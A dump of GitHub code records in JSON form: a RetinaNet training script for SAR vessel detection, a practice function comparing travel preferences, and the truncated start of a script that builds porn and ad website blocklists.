+{"seq_id":"8166813594","text":"import argparse\nimport pdb\nimport collections\nimport sys\n\nimport numpy as np\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.optim import lr_scheduler\nfrom torch.autograd import Variable\nfrom torchvision import datasets, models, transforms\nimport torchvision\n\nimport model\nfrom anchors import Anchors\nimport losses\nfrom dataloader import VESSELBboxDataset, collater, Resizer, AspectRatioBasedSampler, Augmenter, UnNormalizer, Normalizer\nfrom torch.utils.data import Dataset, DataLoader\n\nimport voc_eval\n# import csv_eval\nassert torch.__version__.split('.')[1] == '4'\n\nprint('CUDA available: {}'.format(torch.cuda.is_available()))\n\n\ndef main(args=None):\n\n\tparser = argparse.ArgumentParser(description='Simple training script for training a RetinaNet network.')\n\n\tparser.add_argument('--depth', help='Resnet depth, must be one of 18, 34, 50, 101, 152', type=int, default=50)\n\tparser.add_argument('--epochs', help='Number of epochs', type=int, default=100)\n\tparser.add_argument('--resume', '-r', action='store_true', help='resume from checkpoint')\n\tparser = parser.parse_args(args)\n\n\t# Create the data loaders\n\tdataset_train = VESSELBboxDataset()\n\tdataset_val = VESSELBboxDataset(split='test')\n\tdataloader_val = DataLoader(dataset_val, num_workers=1, collate_fn=collater)\n\tdataloader_train = DataLoader(dataset_train, num_workers=1, batch_size=8, collate_fn=collater)\n\n\n\tdef print_inline(line):\n\t\tsys.stdout.write(f'\\r{line}')\n\t\tsys.stdout.flush()\n\t\t\n\t# Create the model\n\tif parser.depth == 18:\n\t\tretinanet = model.resnet18(num_classes=1, pretrained=True)\n\telif parser.depth == 34:\n\t\tretinanet = model.resnet34(num_classes=1, pretrained=True)\n\telif parser.depth == 50:\n\t\tretinanet = model.resnet50(num_classes=1, pretrained=True)\n\telif parser.depth == 101:\n\t\tretinanet = model.resnet101(num_classes=1, pretrained=True)\n\telif parser.depth == 152:\n\t\tretinanet = model.resnet152(num_classes=1, pretrained=True)\n\telse:\n\t\traise ValueError('Unsupported model depth, must be one of 18, 34, 50, 101, 152')\t\t\n\n\tuse_gpu = True\n\tbest_map = float('-inf')\n\n\tif use_gpu:\n\t\tretinanet = retinanet.cuda()\n\tif parser.resume:\n\t\tprint_inline('==> Resuming from checkpoint..\\n\\n')\n\t\t# checkpoint = torch.load('./checkpoint/ckpt.pth')\n\t\t# retinanet.load_state_dict(checkpoint['net'])\n\t\tbest_map = np.load('best_map.npy').item()\n\t\tprint_inline(f'\\n\\n{best_map}')\n\t\tretinanet = torch.load('./checkpoint/ckpt.pt')\n\t\t\n\t\n\tretinanet = retinanet.cuda()\n\n\tretinanet.training = True\n\n\toptimizer = optim.Adam(retinanet.parameters(), lr=1e-5)\n\n\tscheduler = optim.lr_scheduler.ReduceLROnPlateau(optimizer, patience=3, verbose=True)\n\n\tloss_hist = collections.deque(maxlen=500)\n\n\tretinanet.train()\n\tretinanet.module.freeze_bn()\n\n\tprint('Num training images: {}'.format(len(dataset_train)))\n\n\tfor epoch_num in range(parser.epochs):\n\n\t\tretinanet.train()\n\t\tretinanet.module.freeze_bn()\n\n\t\tepoch_loss = []\n\t\tprint_inline('\\n\\n')\n\t\tfor iter_num, data in enumerate(dataloader_train):\n\t\t\ttry:\n\t\t\t\toptimizer.zero_grad()\n\n\t\t\t\tclassification_loss, regression_loss = retinanet([data['img'].cuda().float(), data['annot']])\n\n\t\t\t\tclassification_loss = classification_loss.mean()\n\t\t\t\tregression_loss = regression_loss.mean()\n\n\t\t\t\tloss = classification_loss + regression_loss\n\n\t\t\t\tif bool(loss == 0):\n\t\t\t\t\tcontinue\n\n\t\t\t\tloss.backward()\n\n\t\t\t\ttorch.nn.utils.clip_grad_norm_(retinanet.parameters(), 0.1)\n\n\t\t\t\toptimizer.step()\n\n\t\t\t\tloss_hist.append(float(loss))\n\n\t\t\t\tepoch_loss.append(float(loss))\n\n\t\t\t\tprint_inline('Epoch: {} | Iteration: {} | Classification loss: {:1.5f} | Regression loss: {:1.5f} | Running loss: {:1.5f}'.format(epoch_num, iter_num, float(classification_loss), float(regression_loss), np.mean(loss_hist)))\n\n\t\t\t\tdel classification_loss\n\t\t\t\tdel regression_loss\n\t\t\texcept Exception as e:\n\t\t\t\tprint(e)\n\t\t\t\tcontinue\n\n\t\teval_result = voc_eval.evaluate_voc(dataset_val, retinanet)\n\t\tprint_inline(f' \\n map: ----->    {eval_result[\"map\"]} \\n ')\n\t\t\n\t\tif eval_result['map'] > best_map:\n\t\t\tprint_inline(f'Saving .... \\n ')\n\t\t\ttorch.save(retinanet, 'checkpoint/ckpt.pt')\n\t\t\tbest_map = eval_result['map']\n\t\t\tnp.save('best_map', np.array(best_map))\n\n\t\tscheduler.step(np.mean(epoch_loss))\n\n\tretinanet.eval()\n\nif __name__ == '__main__':\n\tmain()\n","repo_name":"nasir6/sar-vessel-detection-deeplearning","sub_path":"retinanet/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4218,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"22"}
+{"seq_id":"535165233","text":"# Given a list of strings representing your own travel preferences\n# And a list of lists with your friends travel preferences, return the index of the list with most in common with yours\n\n\ndef TravelCompatability(mylist, friendlist):\n\n    index = -1\n\n    for places1 in mylist:\n\n        same = 0\n        for friend in friendlist:\n            for places2 in friend:\n                if places1 == places2:\n                    same = same+1\n\n            if same > 0 and same > index:\n                index = friendlist.index(friend)\n\n    return index\n\n\nprint(TravelCompatability([\"YYZ\", \"JFK\", \"SFO\"], [[\"YTU\", \"YPZ\"], [\"SAO\", \"BFS\", \"JWK\"]]))\n\n\n","repo_name":"SajinKowserSK/algorithms-practice","sub_path":"leetcode old&new/q3_WTA.py","file_name":"q3_WTA.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"27639053781","text":"import os\nimport sys\nimport getopt\n\noptions = [\"porn\", \"ads\"]\n\nio_files = {\n    \"porn\": [\"../raw-files/porn_pages.txt\", \"../blocklists/block_porn.list\", \"../raw-files/porn_pages_complex.txt\"],\n    \"ads\": [\"../raw-files/ad_pages.txt\", \"../blocklists/block_adpages.list\", \"../raw-files/ad_pages_complex.txt\"]\n}\n\ndef parseArgs(argv):\n    try:\n        opts, args = getopt.getopt(argv, \"ho:\", [\"option=\"])\n    except getopt.GetoptError:\n        print('usage: order_pages.py -o